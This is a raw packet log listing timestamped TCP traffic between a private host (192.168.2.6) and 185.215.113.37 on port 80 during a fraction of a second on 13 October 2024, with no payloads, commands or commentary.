Oct 13, 2024 14:49:26.231431007 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.231448889 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.231477022 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.231583118 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.231592894 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.231604099 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.231612921 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.231623888 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.231626987 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.231638908 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.231647015 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.231650114 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.231659889 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.231669903 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.231679916 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.231673956 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.231689930 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.231698990 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.231725931 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.231750965 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.231960058 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.231971979 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.231981039 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.231990099 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.232001066 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.232004881 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.232011080 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.232022047 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.232027054 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.232031107 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.232042074 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.232052088 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.232057095 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.232058048 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.232062101 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.232070923 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.232081890 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.232084036 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.232091904 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.232105017 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.232135057 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.232178926 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.232381105 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.232391119 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.232399940 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.232410908 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.232422113 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.232426882 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.232431889 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.232443094 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.232450008 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.232454062 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.232474089 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.232481003 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.232501984 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.232528925 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.232706070 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.232718945 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.232733965 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.232743979 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.232752085 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.232753038 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.232760906 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.232774973 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.232777119 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.232788086 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.232796907 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.232808113 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.232810020 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.232816935 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.232826948 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.232831001 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.232836962 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.232846975 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.232867002 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.232867956 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.232876062 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.232887030 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.232887983 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.232897043 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.232907057 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.232918024 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.232928038 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.232932091 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.232939959 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.232948065 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.232971907 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.232985973 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.233194113 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.233205080 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.233215094 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.233241081 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.233289003 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.318022013 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.318063974 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.318090916 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.318114042 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.318116903 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.318150043 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.318162918 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.318183899 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.318196058 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.318217993 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.318233013 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.318253040 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.318265915 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.318294048 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.318303108 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.318336964 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.318341017 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.318367004 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.318381071 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.318399906 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.318407059 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.318434000 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.318444014 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.318468094 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.318484068 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.318501949 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.318507910 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.318536043 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.318545103 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.318572044 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.318578959 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.318610907 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.319356918 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.319417000 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.319447994 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.319483042 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.319515944 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.319545031 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.319565058 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.319600105 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.319633961 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.319654942 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.319665909 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.319674015 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.319700003 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.319716930 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.319732904 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.319741964 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.319766998 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.319776058 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.319802046 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.319808960 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.319840908 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.319926977 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.319960117 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.319977045 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.319994926 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.320000887 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.320028067 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.320040941 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.320061922 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.320072889 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.320096016 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.320096016 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.320130110 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.320152998 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.320171118 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.320250034 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.320283890 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.320302010 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.320317984 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.320319891 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.320352077 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.320363998 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.320384026 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.320393085 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.320416927 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.320429087 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.320506096 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.320511103 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.320539951 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.320554972 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.320574045 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.320584059 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.320606947 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.320620060 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.320640087 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.320651054 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.320673943 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.320682049 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.320707083 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.320719004 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.320748091 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.320759058 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.320791006 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.320794106 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.320825100 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.320827961 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.320858002 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.320868969 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.320890903 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.320902109 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.320924044 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.320930958 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.320956945 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.320967913 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.320988894 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.321003914 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.321022987 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.321033955 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.321057081 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.321070910 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.321091890 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.321100950 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.321121931 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.321137905 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.321157932 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.321244001 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.321276903 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.321285009 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.321310043 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.321322918 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.321342945 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.321346998 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.321376085 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.321379900 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.321408987 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.321419001 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.321443081 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.321446896 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.321475029 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.321490049 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.321507931 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.321508884 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.321542025 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.321556091 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.321576118 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.321580887 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.321608067 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.321611881 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.321643114 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.321647882 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.321676016 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.321677923 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.321708918 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.321715117 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.321743965 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.321748018 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.321778059 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.321789026 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.321810961 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.321815968 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.321845055 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.321851969 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.321887970 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.321991920 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.322025061 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.322036982 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.322060108 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.322074890 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.322113037 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.322123051 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.322146893 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.322151899 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.322180033 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.322192907 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.322213888 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.322241068 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.322247028 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.322253942 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.322282076 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.322295904 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.322314978 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.322321892 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.322349072 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.322359085 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.322381973 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.322386026 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.322413921 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.322422981 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.322448969 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.322457075 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.322489977 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.322495937 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.322524071 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.322539091 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.322559118 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.322565079 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.322592974 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.322606087 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.322628021 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.322639942 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.322663069 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.322674990 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.322695971 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.322706938 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.322726011 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.322729111 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.322765112 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.322773933 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.322798014 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.322810888 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.322830915 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.322837114 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.322863102 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.322874069 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.322896004 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.322902918 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.322928905 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.322941065 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.322962046 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.322972059 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.322995901 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.323007107 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.323029995 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.323040009 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.323062897 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.323064089 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.323095083 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.323103905 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.323128939 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.323136091 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.323162079 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.323190928 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.323196888 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.323203087 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.323234081 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.323240995 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.323275089 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.406975985 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.407033920 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.407067060 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.407068014 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.407111883 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.407111883 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.407183886 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.407231092 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.407234907 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.407268047 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.407274008 CEST	49720	80	192.168.2.6	185.215.113.37
